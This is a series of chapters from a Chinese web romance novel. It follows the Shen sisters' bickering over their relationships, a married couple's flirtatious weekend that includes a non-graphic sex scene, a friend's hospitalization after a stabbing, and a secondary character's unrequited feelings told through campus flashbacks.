“藏得好深哟。”她阴阳怪气,“这么多年,我都没发现呢。” 沈珠玉倒吸一口凉气:“……你……” 就这么水灵灵地说出来了? 而一旁的沈桉一听这个名字,脸色一变,终于按捺不住了。 她朝沈珠玉吼:“变你妈啊!我是变性以后才生的你信不信?” “你最好现在立刻马上跟老娘解释清楚!” “你怎么TM又双叒吃上回头草了?!!” “没完了是吧??!” “我是生了一头牛吗?!!” 第111章 看看那个 母女三人找了一家咖啡馆。 这回沈珠楹和沈桉坐在首位,以一副两堂会审的姿态面对沈珠玉。 尤其是沈珠楹,简直是翻身农奴把歌唱。 她高高扬起脑袋,一副“你也有今天”的样子。 两个人听沈珠玉说完,都沉默了几秒。 “所以你跟他现在的关系是……”碍于姐姐的权威,沈珠楹委婉道,“睡在一起的……纯友谊?” “在国外玩得挺花哈。” “炮友。”沈桉面无表情地把她那个词重新翻译了一遍,恨铁不成钢地道,“还没什么出息地炮了同一个!” “妈,您真幽默。” 沈珠玉干笑一声,解释道:“没办法,长得帅,身材也好,还是送上门的,不睡吃亏。” “而且这么多年了,知根知底的,睡着也放心。” 沈桉冷笑一声:“你就作吧,哪天把自己作进去就开心了。” 沈珠楹则连连摇头:“嘉呈哥现在竟然混成炮友了?” 大学那会儿还是她的未来姐夫呢。 “行了,你们就别操心我了,姐好着呢,追求姐的人一箩筐。” “姐,你知道你现在这种行为叫什么吗?”沈珠楹眨巴着大眼睛,慢吞吞地说。 沈珠玉:“……我不想知道。” 沈珠楹自顾自地继续道:“你这种行为呢,就是在一桌豪华盛宴里面精准地挑中了一碗嗦丢。” “什么意思?” “虽然美味还可以重复利用,但它就是咽不下去啊。” 沈桉“噗嗤——”笑出声,冲她竖了个大拇指。 沈珠玉咬了下牙:“你比我好到哪里去了?” 沈珠楹骄傲地扬起小脑袋,得瑟地摇了摇:“那可好太多了。” “我老公呢,他就是零食里面的海燕芝士饼干。” 沈珠玉抬眼,无语地笑了一下:“怎么?” “可盐可甜啊。” 沈珠玉沉默了整整五秒,随即开口道:“……沈珠楹我求求你了。” “求我干嘛?” “求你去医院治治你的恋爱脑吧。” “……” “钱我出,行吗?” “……” 呵呵,沈珠楹转头又把她拉黑了。 这回拉黑的时间长达一个小时。 —— 大概在下午两三点的时候,傅斯灼给她打了个视频电话。 为了避免被说恋爱脑,沈珠楹特意躲到浴室里去接他的电话。 视频一接通,沈珠楹看到的就是家里那床粉红猪猪被子,半个人影都没有。 她不满道:“你不给我看看脸吗?傅斯灼。” “不方便,”男人似乎是笑了,声音困倦又沙哑。 “喔呦——”沈珠楹撇撇嘴,“一天不见,傅斯灼耍大牌喽。” 傅斯灼在另一头笑得不行,问,“想我了?” “这才一天,谁有空想你啊?”她停顿几秒,又不耐烦地道,“快把镜头转过来给我看看。” 傅斯灼仰靠在床头,摁了摁通红的眼窝,盯着屏幕里的姑娘看,眼神疲惫,却也温柔。 他刚刚通宵加了个班,这会儿嗓子哑得不行,语气拿乔着,也“喔呦——”了一声,拖着嗓子道:“不方便啊,老婆。” 语气非常地暧昧,以及令人遐想。 沈珠楹此时在脑子里默默地回想着男人那令人眼馋的胸肌,腹肌与人鱼线。 难道他现在没穿??? 哇偶。 那可太方便了!!! 于是她清咳一声,一本正经地道:“一家人有什么不方便的,快把镜头转过去。” 胸肌,腹肌与人鱼线都快快到我碗里来!!! “想我了?”傅斯灼轻扯了下唇,又问了一句。 沈珠楹疯狂点头,毫无节操地道:“想了,特别特别想。” 特别特别想——你那张脸和你的胸肌,腹肌,人鱼线。 “你快把镜头转一下嘛,转一下嘛。”沈珠楹眼巴巴地盯着……屏幕上的粉红小猪,撒着娇说,“老公,你最好了,老公——” 傅斯灼在屏幕的另一头无声笑着,很是放肆,声音听着却一派矜持又勉强:“——行吧。” 过了几秒钟,他把屏幕转过来。 沈珠楹两眼放光地看过去,结果—— 男人穿了套黑色丝绸睡衣,平常还会解开两颗扣子,这会儿扣子扣得严严实实的,别说胸肌腹肌人鱼线了,她连他的锁骨都看不到!!! “你……”沈珠楹哑然,随即委婉道,“……不热吗?” 傅斯灼垂下眼睫,遮盖住眼底的笑意:“好像有点儿。” 于是他慢条斯理地解开两颗扣子,漏出半截锁骨和肌理分明的胸膛。 原来这就叫“欲抱琵琶半遮面”。 老师,我悟了。 沈珠楹盯着他看了一会儿,眼神动了动,无声示意道:继续往下脱啊。 傅斯灼却堪堪止住了动作,眼底带几分风流色,轻声问:“傅太太回程的机票订好了吗?” “还没呢。”沈珠楹急得不行,欲言又止了好几秒,最终还是没忍住,直接问道,“傅斯灼,你能不能——” “——给我看看你的那个。” 傅斯灼被惊得挑眉,犹豫几秒,问:“——哪个?” “就是……那个啊。”她朝他挤眉弄眼,一副“你装什么啊”的表情。 你的胸肌腹肌和人鱼线啊!!! “你确定……不会被封号吗?” 这是可以看的吗? “诶呦——,怎么会,我们注意一点不就好了。”沈珠楹的脸都要伸到屏幕里面了,催促道,“你快给我看看啊!” 傅斯灼于是继续解扣子,解到一半儿,眼瞅着腹肌快要漏出来,他动作又停了,异常为难的样子,偏头笑得不行,说:“老婆,我觉得你还是回来看比较好。” “快订回程的机票。”他哄道。 沈珠楹急了,略微抬高了点声音:“不就是看个腹肌?这也不行那也不行的,你至于这么小气嘛傅斯灼!” 屏幕另一头的傅斯灼安静了。 哦? 他神色有些恍然。 腹肌么? 而此时,沈珠玉和沈桉本来在门外聊得热火朝天,也安静了。 两人对视一眼。 玛雅这俩人的感情生活有点火热啊。 至于沈珠楹,她把这句话吼出来,这会儿反应过来,也安静了。 “……” 沉默是今晚,不是,今天下午的康桥。 沈珠楹异常羞愧地挂断了视频电话,在浴室里转了好几圈,也没想出什么不让脚趾抠地的办法。 该怎么跟她们狡辩我不是一个老……呸! 年轻色胚呢? 还没等她想到方法,沈珠玉就在门外揶揄着喊道:“哦呦,小色胚,看个腹肌就这么激动啊,开心得在浴室里转好几圈了!” “美味的,可盐可甜的芝士小饼干~”她阴阳怪气。 第112章 增…… 沈珠楹默默把浴室门打开,试图狡辩道:“你知道的吧,姐姐,我前两年养了一只猫,叫猪猪。” “现在它改名了。”沈珠楹一脸诚恳地道,“它改名叫赋机了,赋予机会的意思,非常美好的名字。” “一天不见,我非常想我的赋机。” 沈珠玉:“……我觉得你跟你养的那只猪,应该换个名字。” 正巧这时候傅斯灼给她发了条语音,沈珠楹这会儿被沈珠玉气红了脸,本来想长按转文字,手一抖,直接点了上去。 男人暧昧沙哑的声音回荡在整个客厅。 “老婆,别生气了,回来就给你看我的腹肌。” 语音自动播放下一条。 “真的不早点回家吗?我很想你。” “……” 迎上两人似笑非笑的眼神,沈珠楹干笑两声:“……这是知道我想家里那只猫了。” 她胡言乱语:“赋机,就是家里那只小黑猫。” 沈桉一脸诡异地看着她:“可是我记得你养得是一只大胖橘。” 沈珠楹面不改色:“带它去染了个黑毛,成天顶着一头黄毛撩妹像什么样子!” 安静片刻,沈桉和沈珠玉看着她,都不约而同地笑了。 沈珠楹站在原地,跺了跺脚,脸慢慢涨得通红,还在嘴硬道:“真的啊,不信我可以给你们看视频。” “我的傻珠珠。”沈珠玉笑着摸了摸她的脑袋,“我当然可以信你,不过,我想要告诉你的是——” “你完全不必因为扑面而来的幸福,而感到羞耻。” “我们珠珠很值得拥有这些,不是吗?” 迎着沈珠玉温暖鼓励的目光,沈珠楹一脸感动,感觉自己快哭了。 她慢吞吞地坦白道:“好吧,其实我就是很想看傅斯灼的腹肌。” 没成想沈珠玉下一秒就跟沈桉击了个掌—— “哦耶,又被姐诈出来了!” “本来还觉得她婚后会被那个男人拿捏得死死的,现在看来,我妹妹还是有点本事的。” 刚掉了一颗小珍珠的沈珠楹:“……” —— 大概在美国待了三天,沈珠玉就把她们两个人半拉半拽给拉到了机场。 沈桉一脸茫然:“我跟珠珠可以跟你一起回国啊,干嘛赶我们走?” “我差不多还有一个星期才能回国。” 沈珠玉把沈桉的行李箱递给她,似笑非笑地道:“一个星期以后,你那个年轻小男友得到美国来拍好莱坞吧?” “……” “那倒不会。”沈桉一脸淡定,“他目前还没这个本事。” 沈珠玉不理会她的嘴硬。 她转而看向沈珠楹。 “至于你——”她把沈珠楹的绿色行李箱推过去,“也赶紧回去吧,我怕你再晚几天,会被饿死,回国吃点海盐芝士饼干充充饥。” “……” 沈珠楹不甘示弱地回:“别以为我不知道,你把我们都赶走,就是想跟嘉呈哥多待一会儿!” “知道就好。”沈珠玉毫不害臊地承认了。 她笑眯眯地摸了摸沈珠楹的脑袋:“你摸你的腹肌,我打我的炮,咱们姐妹俩,都有美好灿烂的未来。” “你说对吗?妈妈。”她侧眸问道。 沈桉两眼一黑,憋了两秒,还是没忍住,直接叫她滚蛋。 沈珠玉麻溜滚了。 沈珠楹眨巴着眼睛,邀功道:“妈妈,你看还是我最乖了。” 沈桉瞥她一眼:“你也滚。” 于是沈珠楹也滚了。 她麻溜地滚回了清风园。 这会儿傅斯灼还没下班,过来迎接她的是愈发圆滚滚的赋机,不是,猪猪。 沈珠楹二话不说就抱起它,盯着它好久不见的小胖脸看了会儿,不知道为什么,心底突然浮现了一抹愧疚。 “诶呦,我的猪猪,几天不见,你怎么痩了?” 猪猪扑棱了两下愈发沉重的肉垫子,终于努力地睁开了眼:“喵?” 几秒后,小猪咪自信点头:“喵。” 而此时,李姨也从厨房里出来了。 她一脸惊喜地看着沈珠楹:“诶呦,我的珠珠,几天不见,你怎么瘦了?” “……” 沈珠楹望着愈发沉重的大胖橘,想起了自己刚刚的言不由衷,短暂地沉默了几秒。 “正好我熬了汤,快过来喝一点补补身子。” “你都不知道,你不在的这几天,傅先生每天都大半夜回来,熬了好几个大夜,工作辛苦得很呦。” 但确实是有进步了,以前就直接在单位不回来了,现在,不管多晚都会回清风园睡。 她一拍脑袋,笑得很暧昧:“正好珠珠你也回来了,你们小夫妻小别胜新婚。” “傅先生一直熬夜也不是一回事,对那个不好,不过珠珠放心,我熬汤给傅先生补一补,大补。” “那个?”沈珠楹一脸疑惑地抬头。 “对。”李姨笑着,若有所指地道,“就是……那个呀。” “哦——”沈珠楹立刻懂了,“增肌的!那您熬吧。” 傅斯灼这么多天没锻炼了,是需要增增肌。 李姨愣住几秒,没想到这姑娘这么直白,老脸臊得慌,随即附和道:“对对对,就是增……那个的。” —— 傅斯灼回来的时候,夜已经深了。 他站在昏黄灯光下,松了松领带,身姿仍然挺拔坚毅,却在视线划过空荡荡的沙发时,显出几分寥落。 李姨笑着端了一碗……不是,一大盆汤走了过来。 “傅先生,快喝点汤,来补补身子。” 傅斯灼清咳一声,倒了一杯冷水,仰头喝下去,语气很淡:“我不用,这汤您带回去喝吧。” “这个……”李姨一脸为难。 我孙子也用不着啊。 李姨的儿子前几年生了一场大病,走了,儿媳也改了。 李姨一个人带着孙子来了京北市,她孙子从小就体弱多病,有时候李姨熬了补汤,傅斯灼都会象征性地喝两口,然后叫她把剩下的带回去喝,平常过年过节,额外的红包也比别家多,还会特意给她发补品。 那时候,一年的时间,傅斯灼有大半年都在国外,大可以辞退她的。 但是傅先生这个人啊。 他很是宅心仁厚。 李姨想到这里,眼眶都红了。 多好的孩子啊,怎么就经历了这些。 她更加下定决心要好好报答傅先生。 “傅先生,您要不还是喝吧,是夫人特意从安林带过来的,大补!”李姨强调道,“她刚刚上楼睡觉的时候,还叮嘱我说,一定要看着您喝完。” 傅斯灼视线顿住,下意识地就要往二楼房间走:“她回来了?” “傅先生!”李姨把傅斯灼拉回来,继续说道,“您要把这碗增……的补药喝完才能上去,刚刚太太特意跟我说的。” 第113章 双休 傅斯灼拧眉,端起那盆汤,一言不发地仰头喝了好几口,喝着喝着感觉不对劲,于是看向李姨,问:“这是什么?” 李姨犹豫片刻,回道:“这是大补汤。” “增……那个的。” 增……那个的? 傅斯灼神色仍然平淡,重复一句:“这是什么汤?” 男人平日里看着气质温和,相处起来也算平易近人,可一旦冷下脸来,李姨一个五六十岁的人,硬生生被他看得发怵。 气场强到可怕。 她脑袋一片空白,一股脑全招了:“就是……牛鞭汤啊,傅太太上回从……安林带过来的……嘛。” “看您这几天熬夜,今天给您熬来……增那个的嘛。” 牛鞭汤? 傅斯灼盯着手里这碗汤,过了整整一分三十二秒—— 男人不屑地轻嗤一声,移开眼。 没过几秒,他又盯着这碗汤,一脸的不可思议。 他需要喝、牛鞭汤? 呵。 李姨咽了下口水,莫名感觉沈珠楹性命垂危,于是试图为她说句话,弱弱道:“其实……” 傅斯灼抬眼轻瞥。 “……没事了。” 李姨果断溜了。 而傅斯灼站在原地,黑衬衫扣子解开两颗,冷静了好几分钟。 他盯着眼前那盆牛鞭汤,想起李姨那句—— “您要把这碗增……的补药喝完才能上去,刚刚太太特意跟我说的。” 好、好、好。 那就如你所愿,傅太太。 他垂眸看了一眼时间,又解开两颗扣子。 正好明天双休。 傅斯灼重新端起那碗汤,面无表情地,一口一口地,全部喝完了。 —— 沈珠楹做了一个梦。 她梦到了一轮炙热的骄阳悬挂在天边,它散发出的光芒越来越暗,越来越暗,却又在某个时刻,突然之间—— 光芒万丈。 它从天上坠落,然后伤痕累累地,坠入了她的怀里。 热,好热。 怎么会这么热。 沈珠楹试图推开,却又恍惚感觉撞上的是一堵滚烫灼热的墙。 有着熟悉的气息,和令人安心的魔力。 让人舍不得推开,而更多的是想——靠近。 再近一点。 她于是紧紧地抱住了他。 “傅斯灼?”她还闭着眼睛在睡觉,却又迷迷糊糊地,开始喊他的名字。 “是我。” 傅斯灼捋了捋她汗湿的鬓角,一双眸子深沉又隐忍,最终低颈吻上了她的唇。 “看来傅太太之前对我不太满意?”男人泄愤似地咬她的唇瓣。 “什么?”沈珠楹仍然有深沉的倦意,喃喃道,“听不懂,傅斯灼。” “我要睡觉了,傅斯灼。” “做完再睡。”他低声说,“你总要对我负责。” 傅斯灼不紧不慢地解开了她的睡衣扣子,充满情欲的吻也跟着一路往下。 他曾经无数次这样吻遍她的全身。 于是沈珠楹很快就来了感觉。 她意识仍然模糊,但是很快,沈珠楹轻“唔——”一声,仰着头细细喘着。 她整个人像是被直接从睡梦中扯了出来,彻底清醒了。 “傅斯灼……你……” 骂人的话还没说出口,唇瓣却又被径自被男人的吻堵住。 一吻完毕,他垂眸看她,眼尾潋滟出一抹涩情的红。 “醒了?”他声音轻轻的,然后一脸耐心地道,“宝宝,那我们现在开始。” “不行……你先等……唔……” 他当然也没等。 沈珠楹急促喘着,整个人头皮都发麻。 不知道是第几次的时候,她艰难地掀开眼皮,见窗外阳光洒落在床上,映出一室旖旎。 中午她慢悠悠醒来,傅斯灼颇有耐心地喂她吃完饭,又压着她,做了两次。 “你……磕药了啊?” 沈珠楹嘴上逞能,转头却咬住枕头,呜咽着到了。 “我嗑药了啊。” 傅斯灼俯身亲吻她带着薄汗的脊背,又带着她的手,摸他一块一块,壁垒分明的腹肌。 他动的时候,腹肌也跟着用力,更加分明。 阳光下,沈珠楹急促暧昧地喘着,耳朵忍不住透出薄红。 随即他压下来,咬住她通红的耳尖,呼吸一滞的瞬间,他笑了,说:“对啊,宝宝。” “都说了,你是我的药。” —— 荒唐,太荒唐了。 沈珠楹觉得,这是她度过的,最最最荒唐无度的一个周末。 两个人的活动地点就是在沙发,床,地毯,浴室,厨房,五个地方。 最后周日晚上,总算消停了。 他们窝在沙发上,一起安安分分地看了一部电影。 电影看到一半,铃声响了。 傅斯灼看了一眼联系人。 是周煜。 他摁了接听,不知道听到什么,他唇线慢慢抿直。 挂了电话,沈珠楹看他明显冷峻下来的脸色,问:“怎么了?” 傅斯灼看向她,说:“祁舟,他出了点事,现在在医院。” 夫妻俩赶到医院的时候,祁舟已经被推进了急救室,而温慕葵的白色毛衣和裤子全都被血浸透了,慢慢氧化成了褐色,她整个人直愣愣地站在急救室门口,眼也不眨,像个没有灵魂的洋娃娃。 一直到沈珠楹走过去,不顾她浑身是血,紧紧抱住了她。 “没事的,温姐姐,祁舟会没事的。”沈珠楹拍着她的背,低声安慰道,“不要害怕。” 温慕葵的身体僵住,随即身体开始不受控制地发抖,她腿也发软,看向沈珠楹,脸色苍白,一脸绝望地不断重复:“都怪我。” “不怪你。”沈珠楹也耐心地重复。 “不对,怪我,我是个扫把星,珠珠。” “是我害了他。” “他们说得没错,我就是个扫把星。” “所有跟我有交集的人,都会……” 温慕葵双手捂住脸,肩膀耸动着,眼泪顺着指缝流出。 “为什么……,为什么就是不肯……远离我。” “我应该叫他离我远远的。” 但是温慕葵从来没有遇到过这样的人。 像是怎么赶也赶不走的人。 所以她唯独又对他心软了。 所以她—— 又一次害了他。 沈珠楹把温慕葵紧紧搂入怀里,眼眶也忍不住红了。 “不会的。”她无措又徒劳地安慰道,“温姐姐,你不是……” “你不要信那群人乱讲,你不是……” 但是温慕葵像是陷入了梦魇,一刻不停地在发抖,眼神空洞又茫然。 不知道过了多久,从里面出来一名医生,问道:“病人家属在哪儿,需要签一下病危通知单。” 祁舟的父母也来了,他们本来还在一旁焦急地等待。 听了这话,祁舟妈妈赶忙推了推温慕葵,说:“我儿子的家属,小葵,在这里。” 温慕葵把眼泪擦干,上前一步,说:“是我。” 第114章 慈善家 医院的病危通知单发了一张又一张,沈珠楹看着都替温慕葵揪心。 但是温慕葵像是从刚刚梦魇的状态中脱离出来了,她面不改色地把这些病危通知单一一签好字,一句多余的话也没说。 直到天蒙蒙亮时,红灯转绿,医生推开门,宣布病人暂时安全。 温慕葵靠着冷白的墙壁,松了一口气的同时,整个人晕了过去。 祁舟的姐姐就站在旁边。 她赶忙扶住晕过去的温慕葵,怜惜地摸了摸她苍白的脸颊,低声说了句:“我可怜的小情侣。” 回程的路上,傅斯灼抿着唇,脸色仍然很平静,只是眼底神色冷了许多。 “傅斯灼,祁舟他……到底怎么了?” 刚刚事态紧急,她都没来得及问。 “让人捅了好几刀,凶手被抓了,现在还在派出所。”他冷声道,“只是……凶手被诊断,有很严重的精神类疾病。” “那是不是不好判刑啊?”沈珠楹拧着眉问,“他是故意的,还是精神病发作?” “他是故意的。”傅斯灼笃定道,“应该跟十年前的,是同一个人。” “十年前?” “嗯,十年前。”傅斯灼说,“十年前,阿舟就进过一次急救室,那一次,比这回还要严重许多。” “啊?太过分了!”沈珠楹气鼓鼓地问,“那十年前,凶手也以同样的理由逃脱了吗?” “没有,被判了十年。”傅斯灼语气淡淡,“那时候,他还没有什么精神疾病。” —— 沈珠楹在第二天下午花店打烊后,跟傅斯灼一起去了趟医院。 她给温慕葵带了一大束向日葵,本来还想给祁舟和周煜也带一束的。 结果傅斯灼面不改色地把花重新放了回去,说:“他们两个大男人欣赏不来这些,送给他们还不如拿来卖钱。” “老婆,你不是还说要养我吗?” “这么浪费怎么养我?”男人语气里带了几分控诉。 沈珠楹:“……” 两束花能养得起你个屁! 你个娇贵大少爷,内裤都要穿定制款! 两个人到医院的时候,祁舟躺在病床上还没醒,温慕葵坐在病床旁,一言不发地握着他的手放在她脸侧,正小声地跟他说些什么。 听到敲门声,她抹了把眼泪,匆匆站起身去开了门。 “祁舟现在情况怎么样?”沈珠楹把向日葵递给温慕葵,一脸担心地问。 “情况好多了,我老师说没有伤到要害,不出意外的话,过两天就会醒。” 过两天? 傅斯灼低头斜睨了一眼躺在病床上的某人,无声低嗤。 中途祁舟的主治医师喊温慕葵去叮嘱一些注意事项。 温慕葵前脚出去,后脚傅斯灼就看向祁舟,语气淡淡。 “还有心思骗你老婆,看来你现在身体应该还不错。” “多余来看你了。” 过了几秒,祁舟缓缓睁开眼,声音带几分哑,笑了,一脸遗憾地道:“是挺多余的。” 刚刚,就差一点,那只小刺猬,就会毫无保留地,向他坦露出柔软的肚皮。 “你……”沈珠楹睁圆了眼睛,后知后觉地问,“你刚刚是装的啊?” “你个渣男,欺骗温姐姐的感情!” “我要去告诉温姐姐!” 她火急火燎地冲出去了。 而祁舟躺在病床上,甚至来不及开口拦。 他猛地咳嗽两下,腹部的伤口被扯得生疼,然后一脸无语地看向傅斯灼。 “你从哪里讨来的这么一个缺心眼儿老婆?” 他刚刚那叫合理促进夫妻感情。 什么渣男??? 骂这么难听。 “很可爱。”傅斯灼轻轻勾了下唇,然后瞥他一眼,“你现在的当务之急,是避免被神经病捅第三次。” “……” 得。 这就护上了。 祁舟低嗤一声,颤颤巍巍地冲他比了根中指。 死恋爱脑。 “捅你的那个,他能被判几年?”傅斯灼没理会他,径自问。 祁舟又朝他比了一个“OK”的手势。 “三年?”傅斯灼拧眉。 这也太短了。 “这是零!” “零啊!哥哥。”祁舟没忍住翻了个白眼,“恭喜你,跟你老婆在一起待久了——” “——已经变得跟她一样‘可爱’了。” 傅斯灼慢条斯理地拿了条凳子坐下,语气犀利地道:“那你的意思是,你这几刀白挨了?” “最近很喜欢做慈善?” “——喜欢为精神病人撑起一片蔚蓝天空?” “——有被人捅刀的爱好?” 祁舟低挑了下眉:“怎么,在你眼中,我是这种宅心仁厚的大善人?” “放心——”他垂眸,眸色渐深,一字一顿地道,“我会让他,为他所做的一切,付出代价。” 后来的几天,沈珠楹只要一有空就会来医院看温慕葵,每天变着花样给她送花。 惹得祁舟都在床上都有点睡不住了,给傅斯灼发了条语音。 ——“你能不能管管你老婆啊?她每天都孜孜不倦地来撬我墙角,这让作为兄弟的我很难办啊。” ——“那我让她别去了。” 那头安静几秒。 ——“那算了,还是让她去吧。” 毕竟,沈珠楹过来的这几天,温慕葵的心情的确肉眼可见地变好了。 甚至一到时间就开始抛下他,翘首以盼地等在医院门口。 傅斯灼无情给他回。 ——“你这叫给脸不要脸。” 祁舟:“……” 手好痒啊,想打人了。 —— 沈珠楹在某天中午又给温慕葵送完花,功成身退,正志得意满地打算回花间集,转头就看见了周清兰的背影在人群中穿梭。 “奶奶?” 沈珠楹愣了愣,赶忙跑过去,抓住她的胳膊,一脸紧张地上下扫视着她。 “你怎么突然来医院了?是不是身体哪里不舒服啊?” 周老太太看见是她,赶忙摘了墨镜,漏出一双苍老而明亮的眼睛。 “珠珠!你怎么也在医院啊?我能有什么事,我这把老骨头硬朗得很。” “身体倍儿棒吃嘛嘛香。” 她在沈珠楹面前转了一圈,笑盈盈地问:“你看看,奶奶今天这身红裙子好不好看?” “好看。”沈珠楹听她这么一说,松了口气,问,“那您来医院是有什么事吗?可以喊我跟傅斯灼来陪您一起啊。” “这怎么方便?”周老太太心虚地戴上了墨镜,压低了声音道,“是我最近又看上的一个帅老头。” “但就是……他这几天突然住院了,我来看看他。” 周老太太一脸沉痛地道:“看来挑老头也是个技术活。” 第115章 放下 犹豫片刻,沈珠楹还是小声道:“要不……奶奶还是别来医院了,去找算命先生吧。” 周老太太愣住,随即笑了。 她使劲儿摁了摁她的额头:“跟我那傻孙子待久了,珠珠,你也变坏了!” 沈珠楹揉了揉自己的额头,不好意思地抱着她的胳膊撒娇:“奶奶,都怪傅斯灼——” “这人啊,生或者死,都各有各的命数。”周清兰拍了拍她的手,一脸感慨地道,“找个算命先生又有什么用?人的命数是自己既定的,改不了啦。” “好高深哦。”沈珠楹似懂非懂地点了点头,“那奶奶跟我一起去商场买衣服吗?” “我哪里有空,还要去看病弱小老头呢。” “珠珠去商场逛逛,多穿点漂亮裙子给奶奶看,奶奶看着也高兴。”老太太步履蹒跚地走了,还不忘朝她招手,“记得刷我那傻孙子的卡!” —— 接下来的几天,看温慕葵的心情慢慢变好了,沈珠楹就开始忙花店的事。 又一个周末,沈珠楹终于抽出空,问刚刚去了一趟医院的傅斯灼:“祁舟现在怎么样了?” 傅斯灼正低着头在磨咖啡。 他轻挑了一下眉,懒散道:“挺好的,已经全身瘫痪了。” 沈珠楹手里的月季差点掉落在地上:“……啊?” 前几天不还好好的吗? 这就全身瘫痪了? “那温姐姐怎么办?”沈珠楹眨了下眼,低声喃喃,“要不把温姐姐介绍给我表哥?两个人在颜值上也挺般配的。” “你温姐姐——”傅斯灼轻顿,“这会儿应该正在给全身瘫痪的病人喂水果。” 而此时,周煜在医院上了一天班,累成狗了,好不容易抽出空去看看他的好兄弟,祁舟同志,结果一进门就看见了这一幕—— 温慕葵半跪他床前,小心翼翼地捧着男人硬朗的下颚,低下头轻轻吻他。 而祁舟仰靠在床头,腰都懒得搂,黑眸垂着,一副懒散无聊到极致的模样,任姑娘不得章法地吻他。 他抬眼看见周煜,也不害臊,冲他弯了下眸,眼睛里那股子得瑟劲儿啊,都快溢出来了。 像是在说—— 抱歉啊兄弟,你来得真不是时候。 周煜本来想走的,看他那一脸混蛋的样儿,又突然不想走了。 他面无表情地,果断地敲响了病房门。 温慕葵被惊醒,转头看见他,脸“唰——”地一下全红了。 她猛地从病床上跳下来,慌乱地在原地转了一圈,随即拿起床头已经洗好的一大盒草莓,说:“我去洗苹果。” 等温慕葵走了,祁舟就傲慢轻瞥他一眼,不太高兴地道:“难怪年纪这么大了都没对象。” “怪没眼力见的。” 周煜早已习惯了他那张破嘴,习以为常地道:“我来是想提醒你,两个月不能行房事,你别破戒了,然后半路被抬上手术台。” “你不要脸,温医生还要脸呢。” 祁舟不屑轻嗤:“我半个月就能好。” 周煜耸肩:“你最好是。” 看他现在精神头还不错,周煜也没打算久留,转身想走的时候,祁舟喊住他,声音多了几分认真。 “阿煜,说真的,守了这么多年,怪没意思的,该放下就放下吧。” 周煜脚步顿在原地,沉默了许久。 他声音低哑着道:“能放下的话,我早就放下了。” 能放下的话,早在发现她有喜欢的人那一刻开始,他就应该放下了。 —— 对于世界上见过沈珠楹的绝大部分人来说,谈起跟她的初见,大约是眼睛一亮,便可以兴起说出一段故事。 没有什么别的原因,而仅仅只是因为,她这样的人存在于这个世界上,实在是太过于生动明媚了。 周煜第一次见到她,是在学生会的迎新晚会上。 对于周煜这样的社恐而言,对她的第一印象,是觉得她很会聊。 她当时手里拿着微信二维码,加了几乎在场所有人的微信。 最后才轮到他。 她看向他时,轻眨了下眼,仍然是笑着的。 “学长,可以加个微信吗?” 她这样对他说。 周煜当然没有理由拒绝,毕竟,她几乎加了在场所有人的微信。 旁边有人调侃她:“沈学妹,怎么感觉你说要加周煜学长微信的时候,有点紧张啊,这可不像你哦。” “不会是暗恋我们周煜学长吧。”又有人起哄道。 周煜拧眉,正要替她说话,沈珠楹便落落大方地道:“没有,我有喜欢的人了,这位学长,请你不要乱传谣言。” “小心吃方便面没有调料包哦。”她半是嗔怪半是调侃。 “行行行,我错了,自罚三杯。” 被他看着的男生羞红了脸,自罚三杯。 一次不尴不尬的小插曲就让她轻而易举地化解了。 周煜也仰头喝了一杯酒,从此记住了这个名字。 沈珠楹。 加了微信以后,两人也没聊过天,只是周煜经常会看到她发的朋友圈,然后默默点个赞。 路边的漂亮野花,天上奇形怪状的云,还有吐槽不完的期末周。 各种各样的新鲜事都出现在了她的朋友圈。 就仿佛她对这个世界,还有无穷无尽的探索欲。 这让周煜想到了一个人。 后来两个人因为学生会的工作,接触的机会慢慢多了很多。 她很擅长聊天与交朋友,而周煜也自然而然地成为了再普通不过的,其中之一。 但是越相处,周煜就越在心里感慨。 像。 太像了。 真的很像从前的阿灼。 于是在某一次跟傅斯灼通话时,周煜望着书桌上,他刚刚在花店买的雏菊,蓦地说道:“欸,阿灼,我在华大碰见了一个学妹。” “性格很好,也很漂亮。” “感觉你们俩要是有机会接触的话,应该会挺合得来的。” “是吗?”傅斯灼的语气薄冷,很轻很淡。 他漠不关心又理性地道:“应该不会有什么机会,我这几年都没有回国的打算。” 周煜顿住。 已经好几年了,他其实仍然不太习惯,傅斯灼在性格上的大转变。 以前会拉着他一个一个去跟班里其他人打招呼,帮着他融入新班级的终极社牛傅斯灼,现在的性格竟然比他还要孤僻。 谁又能想到会有今天呢? 但是假如是十八岁以前的傅斯灼,大约会在下一秒就订张机票回国,饶有兴致地去瞧瞧那个,听说跟他性格很合拍的姑娘。 第116章 换一个人喜欢? 后来有一次部门团建,一群人玩老土但必备的真心话大冒险。 沈珠楹抽到了大冒险,大冒险的题目是:给你喜欢的人打电话,跟他说,我要结婚了,你能参加我的婚礼吗? 沈珠楹盯着这个题目看了半晌,一脸无辜地抬头道:“我没有他的电话。” 于是又重新抽,这回是真心话,问题是:你跟你年少时暗恋的人,现在在一起了吗? 沈珠楹“哎呀——”一声,无语地揉了揉自己的脑袋:“怎么老问这种问题啊?” “没有,没有,没有。”她撇了撇嘴,还是一副无所谓的样子。 可周煜莫名觉得,她要哭了。 她也是真的哭了。 周煜觉得包厢里闷得慌,出去吹风的时候,看见少女倚靠在窗边,眼睛很红,很明显刚刚哭过。 她看见他,喊了一句:“周学长。” 带几分哽咽。 周煜嗯了声,鬼使神差地走了过去。 两个人都沉默了好久。 “周学长,你能不能告诉我,为什么……”她顿住,好半晌没再问下去。 周煜问:“什么?” 沈珠楹摇了摇头,说:“没什么。” 她似乎很难过,也很迫切地想知道些什么,最后却还是没再问下去。 大概是跟她喜欢的那个人有关吧。 虽然当时这么问很冒昧,周煜在当时还是开口道:“既然觉得喜欢现在这个人很难过的话——” 他看向她:“那你有没有想过……试着换一个人喜欢?” 那年京北市刚刚开春,积雪消融,万物都生机勃勃。 少女柔软乌黑的发丝擦过脸颊,她自己撩了上去,然后对他说:“我没有想过换一个人喜欢。” “我只是在等——” “等我有一天不再喜欢他,或者……” 她仰着头,慢悠悠地道:“……我有一天,会遇到比他还让我心动的人。” 她还有很长很长的一生,总不可能只喜欢他一个人。 她当时望着他笑,一双眼睛仍然红着,却很是真挚坦诚。 周煜不想承认。 他在那一瞬间,心蓦地一动。 “所以你现在,还没有遇到那个人,对吗?” 沈珠楹笑着,说:“对。” 于是后来他以朋友的身份,冷眼看着她拒绝一个又一个追求者。 这么多年了,还是没碰到一个更喜欢的人吗? 或者说,还是只喜欢那个人吗? 少女的爱与恨都太明确了。 明确到周煜死死守在朋友的界限,望着她坦诚明亮的眼睛,不敢越雷池一步。 后来在他和她的毕业典礼那天,他们很自然地有了四年来的第一张单独合照。 